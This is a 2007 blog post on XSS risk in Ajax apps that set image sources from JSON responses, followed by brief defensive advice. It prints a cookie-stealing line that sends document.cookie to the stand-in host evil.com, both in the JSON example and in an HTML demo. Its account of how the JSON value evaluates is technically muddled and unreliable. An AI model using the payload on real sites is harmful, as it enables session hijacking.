Saturday, July 7, 2007

Ajax Applications :: Security threats

Ajax (Asynchronous javascript and XML) is the key technology in web 2.0. In web 2.0 world, Ajax changes the presentation of web pages by dynamically loading data from server. But these applications also become vulnerable to attack. Hackers can easily insert malicious code into server response. But how ?

Lets say you are dynamically loading user Photo in a social networking environment. You are expecting JSON response like this
{ user_avatar: './img/avatar1.jpg' }
and once you have the data, you are directly changing the src of the user photo section using DOM
document.getElementById("user_photo").src = response.user_avatar;

So simple .... but there is security hole which can allow the hacker enter into your homepage without login.

Step 1 : Hacker modifies the JSON response. Now the response looks like
{ user_avatar: "http://evil.com/steal?cookie="+ document.cookie}

Step 2 : You replace the user_photo with this one.
document.getElementById("user_photo").src = response.user_avatar;

Step 3 : Browser will first evaluate document.cookie and then try to load the URL. It will call evil.com site with your browser cookie. If you store user password in browser cookie, that will be accessible to hacker. Also he will get the session ID from cookie and using that he will enter into user home page without login.

Example

<html>
<head>
<script language="javascript">
function test() {
document.getElementById("avatar").src="http://evil.com/steal?cookie="+ document.cookie;
}
</script>
</head>

<body >

<input type="button" value="Test" onclick="test()">
<img src="" id="avatar" alt="User avatar">
</body>
</html>



This is called XSS (Cross site scripting) Attack. To prevent this attack, always validate your input and response output. Remove all the <script> tags if available before performing any operation like evaluating the script using eval() function. Also document.cookie is a very dangerous string to have in your Ajax Response. So, it is recommended to create a list of potentially dangerous strings and before evaluating the response, pass the response through a filter to remove all such strings.

Once you secure the JSON response string, convert it into JSON object and perform your operation.

1 comment:

nishant said...

awesome blog man ..so how much did you earn ...i left you a tip :)